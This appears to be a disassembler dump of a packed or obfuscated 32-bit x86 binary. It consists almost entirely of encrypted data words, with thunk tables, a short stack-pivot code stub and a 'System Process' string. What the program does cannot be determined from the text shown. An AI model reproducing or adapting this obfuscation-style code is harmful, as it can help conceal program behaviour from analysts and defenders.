		dd 29C18B60h, 122525B5h, 2CE96106h, 9D000000h, 9C484C63h
		dd 77E733h, 8 dup(0)
		dd 0E9000000h, 0DC9h, 17BCD868h, 0C552E906h, 0DA68FFFAh
		dd 0E90617BDh, 0FFFAC548h, 17BFA568h, 0C53EE906h, 0FC68FFFAh
		dd 0E90617C0h, 0FFFAC534h, 17C26C68h, 0C52AE906h, 0D368FFFAh
		dd 0E90617C4h, 0FFFAC520h, 17C63768h, 0C516E906h, 4668FFFAh
		dd 0E90617C7h, 0FFFAC50Ch, 0B14EFE0Ah, 0C021C55Eh, 12EF9969h
		dd 20C163BFh, 738C3AC9h, 0C241F6C8h, 8C94FB14h,	59A40BE4h
		dd 30F158B9h, 7B306986h, 0ED39E415h, 3DA44200h,	9EEA946Dh
		dd 0E5B572DDh, 7AFB7618h, 828016EFh, 0C66CB7D6h, 7D41AE4Bh
		dd 0A646A21Bh, 0D91E58D7h, 0ECD642A0h, 0CA4947AAh, 6084EC49h
		dd 460CE816h, 0FCF989F7h, 8C00E823h, 4BABD12Fh,	7F1AE255h
		dd 0F7E54D06h, 81EF9B68h, 0CAF274E4h, 9203E78Ch, 4EEEDE11h
		dd 3E83D6E5h, 0FC000000h, 9EEA946Dh, 6F0F62E3h,	3850ED4Fh
		dd 0CE8A5A4h, 95FD8BF2h, 0E8AF60h, 99682CF4h, 870672F1h
		dd 70B1D87Ah, 0D253BAC6h, 0E0215C28h, 24ABC3AFh, 41431773h
		dd 2ED6E5A6h, 0E2h, 4FD0BFCBh, 0B64CDDABh, 7B168F0Ah, 7EBB00AAh
		dd 0FA82EBEAh, 7DF64506h, 0DD899E0Fh, 3FE73EAFh, 0A149D831h
		dd 7E341040h, 818006FAh, 0C20464D9h, 0C8768D35h, 455FC1BCh
		dd 9871F248h, 3A46F031h, 12AB0DD1h, 26520007h, 0C8B45EA7h
		dd 9AE2EADh, 5DA1A944h,	1078C53Eh, 0CE8E850h, 0BA60A3AEh
		dd 0C0211C39h, 0B5F45DBBh, 257E76BCh, 99FBC3A0h, 0BFAAE724h
		dd 0A657C163h, 0E80Bh, 3F50B83Dh, 190AF5AAh, 22FBA23Fh
		dd 0D25145A2h, 4C760F69h, 0F409493Eh, 0D057C27Fh, 9D6AC522h
		dd 660A26F1h, 3F2B64B4h, 0B3F11h, 0C16FB500h, 9036C920h
		dd 5E0A1877h, 30D42E81h, 0FFAB78D7h, 0F0675BE2h, 76A8733h
		dd 57BA57FDh, 60CF28CAh, 8718F9A1h, 3E77668Ah, 35D100EDh
		dd 0E8966DACh, 0B961A00Fh, 4F6FF958h, 0A43850EDh, 0F20CE8A5h
		dd 76F59F67h, 0AF7F7A0Ah, 5A0F00E8h, 0A62898F0h, 0FA41D6E5h
		dd 0E0000000h, 0A850D0BFh, 1DC55C2Bh, 0CC0D63A0h, 6A06FA82h
		dd 821ADB2Dh, 0C9B406FAh, 2AA3C94Ah, 9D8C31DDh,	0EDAEDA84h
		dd 0FA825A9Bh, 0A89F406h, 78FD9F63h, 47D847F4h,	0EABE22A3h
		dd 0FE06FA7Eh, 813E7F27h, 0FA876E6Fh, 0F075C806h, 0C971B01Fh
		dd 2A8E50BBh, 8BCF7F91h, 54270CE8h, 9746AAE7h, 3100E8B8h
		dd 0B30C94Ah, 0E65F031Ch, 39CE3589h, 0AED3F979h, 0B48F570h
		dd 0E8F7F4E5h, 22F65200h, 0E298DCCCh, 0FE3BB837h, 0F54BA66Ah
		dd 5FA1300Ah, 96813AB9h, 4EF80991h, 2FC84722h, 4C9743C0h
		dd 64B42F86h, 3D8D9BD7h, 0B700000Ah, 0CB26C371h, 1A759238h
		dd 2887600Ch, 7AD532D6h, 5DE001ADh, 8935F269h, 59FF0168h
		dd 2ACC51B8h, 0FBA362CDh, 6088851Eh, 0ED3F71h, 0BFAE33CFh
		dd 2DA652D0h, 0F819C542h, 0B0D89091h, 6FA8241h,	2B4E9B5Ch
		dd 99C2BC25h, 8B9627A2h, 0B455CE7Ch, 0F7946D5Dh, 0E682CFF2h
		dd 7A068521h, 8F681213h, 0BA0F96F2h, 2BB478A7h,	0FAF914C5h
		dd 4CCBB206h, 0C024BAD7h, 6D15EC7Bh, 29254BE8h,	6D0CE808h
		dd 0DBD7D030h, 0C335166Fh, 0E842A051h, 4B8ADE00h, 0E500E842h
		dd 186BC596h, 5FF5D809h, 0DAA625A0h, 0E8E74E8Ah, 21093E00h
		dd 0E5E25F49h, 6B130D6h, 1C0B0000h, 0C672B004h,	6FB7CA4Bh
		dd 3850ED4Fh, 0CE892DCh, 6A6BFDBAh, 0C400E8B2h,	0CD8EFA79h
		dd 4125AFB3h, 8B9615CDh, 65E09DEBh, 0DC7D78E0h,	440D00E8h
		dd 0D92A9AEEh, 7447D6E5h, 0E2000006h, 50ED4F6Fh, 0E8836438h
		dd 3D4B320Ch, 6A10137Eh, 827267E9h, 1BE600E8h, 819C0D7Bh
		dd 824889DFh, 97E600E8h, 0ACC56C18h, 0E33B6C6h,	875C4C24h
		dd 3C2DD6E5h, 0E000006h, 7A3EBFD1h, 57AA00EBh, 0EFACC9B7h
		dd 18D92F8Ch, 0B600EB7Ah, 7A2B4EC7h, 9A1C7CB3h,	0D9A52475h
		dd 18A6C340h, 0BDE107B4h, 390CE8DEh, 5F332542h,	4784F5C9h
		dd 40A81577h, 9ECF2E9Ch, 6A6BFD3Ah, 0C49EC33Ah,	0DC5FFC79h
		dd 41A33B90h, 0EA946DFCh, 365AE39Eh, 9EC33AC7h,	1C991A61h
		dd 0D12F57F4h, 0C797F194h, 0D17988D7h, 68F6CB4Fh, 0E123AEEBh
		dd 0B5304D3Bh, 7A8ECB08h, 98B17F7Bh, 82ED66D5h,	40A8E583h
		dd 98B17F91h, 15C44C2Fh, 0B398B17Fh, 5DAC4DC8h,	1CB1AC4h
		dd 52F6D913h, 8720816h,	3CC80000h, 31C738Ch, 0D72F825Fh
		dd 0A17DCC2Dh, 788FE2FFh, 34162DCAh, 0B5520007h, 0C522CA5Ah
		dd 1AF7976Ah, 2BC46EB7h, 0AA2BBDF2h, 400ED3Dh, 21BFF366h
		dd 0EC14526Ch, 4F1A9B0Fh, 3B600CB6h, 5E2AD62Ch,	118C36CFh
		dd 69E7F794h, 0C972F197h, 0D575648Ch, 68D306FAh, 253A4EEBh
		dd 8F0CE64Fh, 0AEDA7E80h, 360552D3h, 91BA8FD9h,	0FF6200E2h
		dd 0FF01956Ch, 11A8144h, 0E26174B4h, 48EA3796h,	8CB14ECDh
		dd 0FBB8394Fh, 271600E2h, 7A00C1AEh, 388500ACh,	0E2FAD9D0h
		dd 77C4B700h, 0A26D18E8h, 243528Dh, 840573EEh, 0CAA7D57Dh
		dd 0F5A6D64Fh, 0EA624A9Bh, 182D3D7h, 1AF79F66h,	0E2199B4Eh
		dd 7012EF00h, 41E93897h, 49B62333h, 42E1B2A5h, 21A250D7h
		dd 71E0A60h, 0E982DE5Fh, 0DE879931h, 215EBF34h,	0CB48EC36h
		dd 0CFBD65BCh, 0E2DB32A7h, 6BC70800h, 0CE5066BFh, 5C3E5E2Ah
		dd 0CED7E65Eh, 9F78F772h, 2B077E2h, 13F5981h, 86E20000h
		dd 59BF2807h, 53B50646h, 0E24FA2h, 0ADC4413Ch, 9EEA946Dh
		dd 2450F20Fh, 6F1BE877h, 79EF6401h, 6FA8278h, 0DDDB2B36h
		dd 94D19F41h, 34CD9C19h, 516DFE8Ah, 253A4EEFh, 6F0CE618h
		dd 0D109C50Ch, 3E2A5EA4h, 71B10h, 0E5939100h, 0B45AA504h
		dd 822EF45Bh, 54F80A65h, 23CF54BBh, 0AC8BBFC6h,	0E34EAB57h
		dd 339E7B21h, 5CB34CEEh, 5BFC1DC5h, 425382E6h, 0D1ED00EDh
		dd 0EA946D88h, 0B372DD9Eh, 8222D335h, 0C1BC06FAh, 0BA3B3642h
		dd 4DAA58AFh, 3E7F1FE2h, 0DAB628A2h, 92132574h,	670F1679h
		dd 32E0278Ah, 0B0D81546h, 6FAEC41h, 35CD9C9Fh, 380FD8Bh
		dd 85F39F64h, 30F05ACDh, 6BF647F3h, 0E782EE9Ch,	61F08D6Eh
		dd 620C159Fh, 67DC99E7h, 0F7E520A0h, 1149D0h, 0BFE80000h
		dd 82EFEE02h, 0F24906FAh, 80A971h, 6D280000h, 0C651EA94h
		dd 8CE9973Fh, 0D81D6517h, 4C06FA72h, 0EB620EB2h, 0DE829C1Ah
		dd 0CC771563h, 2F0A4B66h, 5D71BEAAh, 82E821DEh,	3AD77F86h
		dd 0DCA84AD7h, 0CF0E629Fh, 6906FA3Ah, 0CB0F9112h, 6206FA3Ah
		dd 0FC6B69C1h, 0E6949323h, 0E3601D6Bh, 38D97984h, 0EE906DD9h
		dd 0B54ED982h, 8D066311h, 0F17F1FE2h, 8C7CD651h, 2030D171h
		dd 6FA8A38h, 8F3EA968h,	0AD53D0F7h, 0F6FFFFFEh,	322D2h
		dd 946DB700h, 72DD9EEAh, 37E0AB2h, 82CB1E82h, 0A38406FAh
		dd 20CA5BC7h, 0F19968C7h, 8216F383h, 0A36206FAh, 1A660C17h
		dd 3794E05Fh, 90F845A7h, 0CE619FFh, 0CC788ED9h,	32D429A0h
		dd 0DDAC2B46h, 95D09C42h, 0D209CF16h, 3E2A5EA4h, 5AB10h
		dd 55030100h, 24CA55B4h, 0F29E64CBh, 0C468BA15h, 933FC42Bh
		dd 5CFBCF76h, 93FE1BC7h, 0A30EEB91h, 0CC23BC5Eh, 2B6C8D35h
		dd 40E31276h, 0A17D00EDh, 0D4946D38h, 82807197h, 5FDE06FAh
		dd 0FA8204F5h, 0EC37A206h, 5FA0CB46h, 35B0CDBBh, 0B1D71447h
		dd 6FA8240h, 4B269F9Eh,	0A2AD0EBCh, 0B2CFBD61h,	0B071D831h
		dd 8186E906h, 27F968D5h, 0E676F381h, 4E10E51h, 4834B172h
		dd 0E89442C1h, 9793FFA8h, 4EF30E90h, 0F4A5F81Dh, 9712911Dh
		dd 0A24DBF7Ah, 3C22D0F7h, 0C7000002h, 0FC04526Fh, 0CE4D2854h
		dd 0D4B9D2A2h
		dd 1C45B5CCh, 78626236h, 200F2E19h, 0AA000002h,	53E8526Fh
		dd 0FA82BC3Dh, 0BA3E1A06h, 0C9E84413h, 13C22697h, 0AD06FA91h
		dd 8EEA53CEh, 0C89F33D7h, 8CF0750Ah, 0CC5B6FE4h, 60CA7FB5h
		dd 791BE772h, 0ACBC5FCh, 0E4A42E18h, 4D000001h,	0B2D6526Fh
		dd 6FA8243h, 9A239E9Dh,	48CD778Fh, 83A885EBh, 30E06FAh
		dd 0C86EB1FFh, 0C142C1BCh, 8BDBA994h, 0B5CCD4D0h, 0E69236C8h
		dd 8BF99B67h, 89A58D3Ah, 9DF55D02h, 2E197813h, 1A27Ch
		dd 526FE500h, 443D53E8h, 0F206FA83h, 8BF99B67h,	0B92875EEh
		dd 2AD25268h, 29A4C1AFh, 0D4500B5Bh, 0B548B5CCh, 1DE66715h
		dd 0DBA0B79h, 0DD820925h, 78931D75h, 0C7212E19h, 0AE2AFA9Ah
		dd 0B6C84D8Eh, 15Fh, 6946D53h, 0ABD95400h, 0DE3BE322h
		dd 0B20B6D71h, 0E884AA5Eh, 0C3B18C0Ch, 0E88C46B3h, 0B455D200h
		dd 0C974A1BAh, 8BF974CBh, 2E5A0202h, 5A72D811h,	0F0C8A2D7h
		dd 0D6E597F0h, 4399h, 4F6F3800h, 0FD1350EDh, 6FA82FCh
		dd 7888E35Ah, 4CC9A4D0h, 5AA7B2EFh, 39D53BB8h, 1D0CE8A5h
		dd 0EC29521Eh, 0E8AC5584h, 9A64F300h, 70EF8AF6h, 0AC686DF3h
		dd 571800E8h, 0A525A7FBh, 0AE4AD6E5h, 0EF000000h, 9EEA946Dh
		dd 3E4AF80Fh, 0FAC56AFh, 2B590100h, 5A9BED4Eh, 0F406FA82h
		dd 0E9600C89h, 0EC916E18h, 78FDA37Dh, 0FA7E3410h, 0D9818006h
		dd 10C12764h, 0AE06FA86h, 0BE62BCCFh, 0DD3EB7B2h, 0B10A6E70h
		dd 0E721CD5Fh, 0A0C8050Ch, 0EE3331h, 6A37AC8Fh,	0F7D27FFh
		dd 0DB46F772h, 0D74D834Ch, 0C058FC06h, 0BF3AAB8Fh, 8A38CF22h
		dd 0A147D35Bh, 0FEC8845Eh, 344h, 5DBA6ABEh, 6C8D31F2h
		dd 0BE5B051Dh, 0CC2DCF53h, 1FF8A67Dh, 2EF56264h, 0F8086780h
		dd 0C558B750h, 9C65C425h, 8F8C15F2h, 0ED467879h, 0A138D600h
		dd 0FE8966Dh, 58B961A0h, 0EA946DF9h, 0A0F60F9Eh, 0DD3AB961h
		dd 0FA824F8Bh, 0A507D706h, 0B24CDB18h, 8E07620Eh, 0E882861Ah
		dd 10AD900Ch, 9745FE01h, 0E6B2995h, 92EF9D18h, 6D99F811h
		dd 0F9EEA94h, 0B2EF4CF6h, 0FA829F5Eh, 0C1423906h, 99FBC328h
		dd 44EA3524h, 0EA1E72CFh, 2C0CE884h, 0EF01E13Dh, 0E88CEEh
		dd 0A76F548h, 0D2A9F66Fh, 8C1BDEA6h, 266B00E8h,	8974744Ch
		dd 4115D6E5h, 0BC000000h, 0FC014F6Fh, 4E8FE15Ah, 0E806FA82h
		dd 43A51695h, 0CE8A58Fh, 0BC26F867h, 0E8AFA554h, 0BD380300h
		dd 6431B2CFh, 6CB5A419h, 3ABBB6C2h, 0AFB72232h,	92C700E8h
		dd 0A6E0E0B8h, 0C789D6E5h, 28000000h, 9EEA946Dh, 0F14AF80Fh
		dd 410154B4h, 7230D581h, 0FA79F3E2h, 75EE4D06h,	0D77F8607h
		dd 9B67F2A9h, 9FEE8BF9h, 0D792DE84h, 48F2335Eh,	85EDB9AFh
		dd 2AFB06FAh, 0F9086780h, 16A82351h, 0A4CC09B2h, 6FB8235h
		dd 8E2BA893h, 0E9907A7Ah, 7E85D40Ch, 4AC9A4D0h,	1A7E40ADh
		dd 20DB4FA1h, 0A09B0AF4h, 4BF70C1Bh, 16C443AEh,	0B4F875CFh
		dd 7C4A0664h, 1E0h, 0C11ECE5Ah,	10F1956Eh, 22BF69B9h, 709133CFh
		dd 835C0A19h, 9291C6F8h, 5CA40BE4h, 29F45BB4h, 16889h
		dd 2B60B956h, 0ED4414C5h, 4D94B200h, 53E8966Dh,	0E8943CC4h
		dd 829C5DB3h, 433A06FAh, 43AE4FC4h, 66A318C2h, 0FA82D302h
		dd 950E6D06h, 4F6F1D74h, 0A43850EDh, 120CE8A5h,	0DF54FE07h
		dd 0A5CDBB82h, 0E8AF30h, 25331F40h, 3844E83Ah, 8701B83Dh
		dd 0E8D6E5A6h, 0CCh, 0EA946D89h, 4AF80F9Eh, 0DCC897F1h
		dd 17176878h, 8E07AB74h, 22B296FEh, 0B4D406FAh,	3DC5077Ah
		dd 269E0993h, 0C0B0A13Bh, 0F1604240h, 620C1574h, 33DB2A85h
		dd 0FB0B1645h, 0CD462351h, 1BA1EA0h, 0E87BEFEFh, 0A6CA470Ch
		dd 0E99F37h, 9FDE1F71h,	57800E9h, 3058E558h, 0E99FC1h
		dd 40A11C1Fh, 0CC71D3EBh, 0DD7D808Fh, 67BBD2AFh, 0AFD840C5h
		dd 890AF43Bh, 8FCC09B2h, 0DD487879h, 0EE67D60Ah, 39D68483h
		dd 72A551D6h, 64B4DFF8h, 0D1E3CDB9h, 2B000000h,	7FD22FDDh
		dd 8EE1FEA4h, 0DC33CC78h, 0EE419E42h, 0E98C6D19h, 0F5A166D5h
		dd 0C56BB514h, 9638C524h, 670F1679h, 0F41C118Ah, 0ED4505h
		dd 6D5287A3h, 0A00FE896h, 0F958B961h, 0FC06946Dh, 2360DD58h
		dd 0FA820CCDh, 97CEAA06h, 0E0695F91h, 0CE229B16h, 6FA690Fh
		dd 2B51D2A9h, 5EBB63A2h, 53B5EDF1h, 6FA69A2h, 79C2413Ch
		dd 0E6F34417h, 91DF5E0Ch, 0F35CE938h, 0C1768344h, 0E44BA423h
		dd 0B4254B1Dh, 1200E20Eh, 0F10FAC2Bh, 26D85C3h,	4636AF11h
		dd 3A30173Eh, 74DE6B43h, 24C56DB4h, 0E6923CC5h,	8BF99B67h
		dd 7D808FACh, 51D2AFDDh, 37CE3A10h, 0DF232E8Fh,	1A27B83Dh
		dd 414A8BDDh, 99E45289h, 0A8B2BF6h, 70FCA67Fh, 3A6h, 0F9982300h
		dd 9BE9976Dh, 3D4BF332h, 0C3B151ACh, 6612BA4Ah,	67220E7h
		dd 0A6D28087h, 4B39DB27h, 0EC9844C2h, 70FCA27Dh, 4EC832Dh
		dd 89240C89h, 4C181E1h,	83000000h, 0C8704E9h, 89515C24h
		dd 4C181E1h, 83000000h,	0C8704E9h, 4895C24h, 0E2895224h
		dd 4C281h, 0EA830000h, 24148704h, 2414895Ch, 7BF86853h
		dd 1C8B4186h, 4C48124h,	81000000h, 0DD21EFEBh, 0F3F3811Dh
		dd 0C170F968h, 0F38104EBh, 322B848h, 835BD889h,	248904ECh
		dd 24048124h, 4, 0C189515Ah, 8B084A89h,	0C481240Ch, 4
		dd 5A2434FFh, 4C481h, 48B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		dw 8F61h
		dd 0C83CB834h, 0C5030617h, 48CE0FFh, 9AC76178h,	0AD835314h
		dd 33D1250Ah, 0E8E40A51h, 0B8DD5FD6h, 3B30F69h,	285A4424h
		dd 37302280h, 27EE7377h, 2566590Bh, 0BA11258Fh,	529E76A4h
		dd 47144C8Bh, 0C4311141h, 0FDD11D5Eh, 60A6A52h,	92854814h
		dd 5FF72F51h, 8E303F0Eh, 0CC0533D6h, 9CB4146Bh,	0A1744EB7h
		dd 0F8ED49F8h, 0A949300Fh, 0E5912853h, 25690D64h, 0A5714B1Dh
		dd 987405E1h, 7D682D11h, 8AE927F9h, 0A5000001h,	806636BDh
		dd 0AC872B68h, 0AF4FD74Ch, 34080A58h, 7F510156h, 50080256h
		dd 7E510958h, 7E382271h, 74517024h, 52D38B70h, 839F8FC4h
		dd 885037B6h, 28514614h, 1, 4000000h, 2	dup(0)
		dd 2F000000h, 0
		dd 8000000h, 0
		dd 53000000h, 65747379h, 5020006Dh, 65636F72h, 5D7373h
		dd 48h dup(0)
		dd 1729E900h, 0CC680000h, 0E90617CCh, 0FFFB7CA6h, 17CDE168h
		dd 7C9CE906h, 0CE68FFFBh, 0E90617CEh, 0FFFB7C92h, 17CFB668h
		dd 7C88E906h, 3268FFFBh, 0E90617D1h, 0FFFB7C7Eh, 17D2E168h
		dd 7C74E906h, 0E468FFFBh, 0E90617D3h, 0FFFB7C6Ah, 17D50368h
		dd 7C60E906h, 2A68FFFBh, 0E90617D7h, 0FFFB7C56h, 17D7ED68h
		dd 7C4CE906h, 0A568FFFBh, 0E90617D8h, 0FFFB7C42h, 17D92A68h
		dd 7C38E906h, 9268FFFBh, 0E90617DAh, 0FFFB7C2Eh, 17DFC068h
		dd 7C24E906h, 0A168FFFBh, 0E90617E0h, 0FFFB7C1Ah, 34B944C2h
		dd 1F626DF1h, 0E44994A8h, 0B13CBF41h, 9BE6EB7Ah, 0A5A467D1h
		dd 0D15ED558h, 0F70AA10Ch, 1F2087EAh, 804E6FD2h, 53237D91h
		dd 0F30E54E2h, 0F6A3B649h, 0DC3B585Ch, 0E48BE375h, 0AACBFE6h
		dd 0C94FF0FDh, 0BE41F471h, 0AA7ACC31h, 8A3B091Bh, 0C3CF707Dh
		dd 3B593CD6h, 0AB0395DCh, 64E1EC7Eh, 4D6706B5h,	5BEF56E2h
		dd 3C69EF90h, 0BF99A62Bh, 4123B5CAh, 0FE8C51D4h, 66A65D45h
		dd 3F88FD34h, 4E4B5AF0h, 0EB743E2h, 0EF76F3FEh,	89F8C0Ch
		dd 20DA4E03h, 0A7000000h, 592B7A4Ah, 4D862B68h,	0D32A6E2h
		dd 4D858CA2h, 0BEE71E2h, 23E9E8Fh, 0F0C54Eh, 49AA0000h
		dd 2F0629B6h, 87AED11Eh, 386D7F84h, 0BF99A62Bh,	35367DCAh
		dd 327D8285h, 831BE87Bh, 585EF0A1h, 0ED6BDC3Bh,	54222895h
		dd 3B58C965h, 0D59000DCh, 3B5DCF2Ah, 0AA37C8DCh, 0BF5FE047h
		dd 0F6F90DABh, 3277CF49h, 2956AE33h, 48EAD7A5h,	81DC3B5Eh
		dd 0E02C5217h, 1DC6F3D1h, 0B4E24D93h, 305E2Ch, 0BD6EF163h
		dd 0FF333E2Bh, 2BB84D2Fh, 14C0F1D3h, 0BDE8623Ch, 4DDC495Bh
		dd 77F63D80h, 0C131E66Ah, 0F8B7779Ch, 14AAA2h, 7A858500h
		dd 23AEB0F7h, 0AD56BDEh, 0FD0000A7h, 0A72C3D70h, 67A4125Ah
		dd 119419E6h, 0CD60CD12h, 0E346AB38h, 0D2E9360h, 24BE5041h
		dd 4F0BE253h, 3200EE32h, 3B58EB07h, 0B372E6DCh,	0DC3B589Fh
		dd 0F4BBAE2Ah, 8C9A6875h, 3B58719Dh, 4D888DDCh,	990EF85Fh
		dd 0A0CFBA1Eh, 17F5FA0Dh, 7C37E149h, 7BEEA7C3h,	7A4A4D0Ch
		dd 5E4B592Bh, 0DC3B58B4h, 4994961Dh, 0BB6674F1h, 0E24D85FCh
		dd 8D3C43D5h, 0E24D855Dh, 0BE3A3940h, 4E023E6Dh, 0D894h
		dd 0B6495500h, 1E2F0629h, 1220AED1h, 48DBF9F7h,	58D6E9BBh
		dd 62B766E3h, 0FADC3B73h, 936B94Bh, 14175A0Fh, 3D6862CFh
		dd 0BE9AA52Ah, 7E8384CBh, 0E6AD7931h, 83683604h, 3A689CC9h
		dd 6688B98Bh, 63DC3B5Bh, 964970F5h, 33E24D90h, 1C747988h
		dd 7F84870Eh, 56155030h, 0BF8D14D0h, 623D35F2h,	17299CE8h
		dd 29A65F9h, 0BCCAD8AAh, 0A28530E4h, 470A7FA9h,	71B439C6h
		dd 0A27FE3F0h, 34779D3Ch, 1395277Bh, 9AA80000h,	0C347EA57h
		dd 0EA7EB538h, 15179AE7h, 41C067CAh, 0C93F31BCh, 8BF6FB0Ah
		dd 57DA2724h, 3D804DD0h, 56875F6h, 0D37F2A38h, 0FEE25325h
		dd 0B8491958h, 0B6C4C62Bh, 0D4EE78Dh, 0AAD194A5h, 68765499h
		dd 3B9595B9h, 86A43CDCh, 0A511624Ch, 482722E4h,	29B64911h
		dd 0D71C2F06h, 3592A7F5h, 34D09F69h, 69FF3231h,	0D152D966h
		dd 6B561F21h, 0DC3B5DC7h, 713E9602h, 7F427517h,	3BEC06B5h
		dd 0B3685EA3h, 0AF434E5Ch, 1ADC3C21h, 0E9418E93h, 0ABFACA7Ch
		dd 249BE8D9h, 72A3E24Eh, 0EB42EDF0h, 34318956h,	0B564A533h
		dd 0D9D85596h, 11F3C202h, 0EA8B1B20h, 645523DFh, 0DFEA8ACAh
		dd 17149107h, 7EDA9FCAh, 0E6AD7931h, 0C991504h,	0A030E600h
		dd 89D053C2h, 0C7698h, 40C553E6h, 5BA63EC3h, 0C28E53D4h
		dd 79FEEF49h, 0A8B288A7h, 87000012h, 0B2F94487h, 6DC02DB0h
		dd 2A914D7h, 3F72FF02h,	2C5CA12Eh, 1BE879BAh, 0CF141396h
		dd 0B53ACF62h, 9D62E548h, 525F0B10h, 0E25326C0h, 492C4D09h
		dd 2C0629B6h, 0EF68FCE0h, 3B591022h, 0C75FB9DCh, 6240D8B8h
		dd 4D8DB4B7h, 0A1D88E2h, 2F171C0Fh, 368E5EC5h, 57DA3E33h
		dd 0D0484FD0h, 0C1771118h, 775BE47Ch, 0B9D8E629h, 0C9BCC987h
		dd 6C7E4581h, 65D617BDh, 32ECB2E8h, 0E80A375Eh,	0E1E86649h
		dd 0AC96D577h, 26C8F9CBh, 0A3E8657Fh, 46CFDD35h, 5C2A38C5h
		dd 657EC16Dh, 0BA8808E8h, 657E638Fh, 7FEA6EE8h,	25AABDF0h
		dd 0CDD4101Ah, 29B4B6FFh, 0B5E3AE3Ch, 89EE7D48h, 0EFF474FBh
		dd 4C39BBB8h, 56DFAD2Bh, 0B35B0ED3h, 71FC0102h,	9BA4293Ah
		dd 7E4C5393h, 8E91A8B3h, 0ABB721F4h, 6B706A4Ah,	0C0879B94h
		dd 0FF000011h, 0AA016C6Fh, 45E85598h, 7AB13CBFh, 179AE7EAh
		dd 464C916h, 3D05192h, 0F7FC0BBEh, 0DD22278Ah, 854ADD50h
		dd 4A776338h, 0E25327A8h, 0EEC47521h, 1659A6A7h, 1003732h
		dd 0B40EEFCh, 4693A4B0h, 7ACCBBAEh, 0B00FD1AAh,	389DEE9Eh
		dd 0BF99A62Bh, 48FDCF27h, 0C042BB6h, 7384B559h,	5EE24E08h
		dd 6DFEB5FAh, 95961D60h, 93BD7C2h, 0A4A4E24Eh, 0C5321659h
		dd 0BCE9FB53h, 6C94E8AFh, 70C56BEDh, 6ADC6D18h,	0EE63C19Ah
		dd 63B91CCAh, 3308390Bh, 9EE85F62h, 0EB5A283Ah,	6CE48B58h
		dd 5F6191BDh, 0ADD838E8h, 0C6B50C1Ch, 9419E679h, 0F3000FB6h
		dd 0F3713C51h, 31343B73h, 14F6BD09h, 0C3A7806h,	0FF336A7h
		dd 7F88935Ah, 0D741EE71h, 7D8285A8h, 9E86B32h, 44266DB9h
		dd 83A4C255h, 0BB890FF4h, 4A4D3BEDh, 0D88D28FEh, 320506ADh
		dd 9B1A3759h, 45EA42E9h, 837CC46Ah, 9F92F5F4h, 7FC20F10h
		dd 85AA37C8h, 705261ADh, 0AF343362h, 0ABA073BAh, 0AF29FA95h
		dd 998C6C42h, 0B564464Dh, 0AD7527h, 707D8E37h, 5B1C49CFh
		dd 0A7A6EFFDh, 97EFF477h, 0B2FD68E8h, 0B6F90607h, 0AD74D37Bh
		dd 0B0FFCF00h, 3EB9E7D2h, 801006C5h, 0C3F173A2h, 1926BE41h
		dd 0D27C2D3Fh, 0FF06C53Eh, 971EEC99h, 2F7D4F94h, 7259E0D2h
		dd 762E75Dh, 2D529FA0h,	96FA0706h, 593A2569h, 44DA60CFh
		dd 7B000010h, 169DE0EBh, 0C164C914h, 0E64DB03Bh, 93169B66h
		dd 88E04D92h, 874CDD1Eh, 6B78F73Ah, 519EA306h, 39C659ECh
		dd 0CEFBE7B4h, 0E2532A24h, 0EE48E9ADh, 155AA5A7h, 2033633h
		dd 2B9A70FDh, 0ADABD417h, 6D72F5B8h, 0EFF5F19Fh, 0E7E5B478h
		dd 0DD6EC562h, 84833210h, 0B538CA7Fh, 6EDB8E8Ah, 38876A0Dh
		dd 0E357DA27h, 47F09D42h, 2AB549FCh, 1D3EA3Fh, 91040000h
		dd 9238478Ch, 15AAEF69h, 99CC2421h, 1100EE26h, 0DC3B58FDh
		dd 1D9A67E6h, 889BCEBBh, 0EE71347Bh, 0DA2A9CE1h, 69E63E6h
		dd 67467524h, 816E24Dh,	40418E9Dh, 0E24D66AEh, 4D90901Bh
		dd 9BCE2622h, 0A956B8E6h, 0B6B45E4Bh, 0BB1DE24Dh, 872C32E9h
		dd 81A9002Fh, 7CE24DD9h, 7D91806Eh, 54E24DD9h, 0FBFE99CCh
		dd 296AE7Fh, 37D54Eh, 0BBC90000h, 7CEFE13h, 42FC8EF7h
		dd 984FA7DBh, 4ACA65E0h, 68592B7Ah, 0E24D862Bh,	810D32A6h
		dd 0A7C81514h, 0D575A4A1h, 0C8E24D85h, 0E546C2B1h, 1C4E023Eh
		dd 0DAh, 29B649DDh, 9558EA5Bh, 0AD9C6EEAh, 0DC3B5881h
		dd 2C9DC848h, 673E90BEh, 0E5A9A473h, 4173FA47h,	0B3B69AD1h
		dd 92707D8Ch, 0AB799584h, 0C050DC3Bh, 0FE012485h, 0B538CA7Bh
		dd 739F8E8Ah, 5EDC3BABh, 1735A8FAh, 18A591CAh, 0B3B4FF80h
		dd 5ACBC32Eh, 868500CDh, 0F8DD0C79h, 0E3DC3C46h, 982E9360h
		dd 0D967454Ch, 0FB6BF0B4h, 7599CC9Ah, 5100FD44h, 7E4CD4E2h
		dd 76233637h, 0E25100DCh, 0E9BD0820h, 15621555h, 63C62B83h
		dd 98711DE2h, 1A7DADAAh, 0E95112Dh, 9AA80000h, 0C347EA57h
		dd 0EA7EB538h, 15179AE7h
		dd 41C067CAh, 0C93F31BCh, 8BF6FB0Ah, 57DA2724h,	3D804DD0h
		dd 56875F6h, 0D37F2A38h, 0FEE2532Ah, 0B8491958h, 0EBF90406h
		dd 3B59143Eh, 0C35BBDDCh, 0AB38CB7Eh, 0B6491746h, 0B0FF0204h
		dd 7C3778D0h, 28396CEBh, 5948EADBh, 1781DC3Bh, 6CFF32BFh
		dd 0E4F2D867h, 3B591935h, 2520B0DCh, 39CFB17Dh,	378F89B6h
		dd 596F6455h, 46CFE24Dh, 127639C4h, 0A4861257h,	42EDF271h
		dd 1935E4C6h, 0B0E24D5Ah, 0F4462520h, 7B7h, 2BB849B5h
		dd 5885A504h, 8BD9DC3Bh, 0F8217A22h, 0E0ED7061h, 0E461F95Fh
		dd 412372B2h, 9AB46573h, 37DC3B78h, 4F75A4A1h, 7AE25342h
		dd 4289A594h, 0D040E253h, 55DC6A78h, 0C3FDF2DCh, 224D9291h
		dd 0CA5BCE26h, 0ACBA4005h, 6F1AE579h, 57DA2738h, 0A0824FD0h
		dd 5CE3F075h, 32BD41C4h, 0B2B3FA37h, 0D0B2212Dh, 733C7DABh
		dd 0D922Fh, 529DAD00h, 3BC658EFh, 0E2ED73B6h, 0D518289Fh
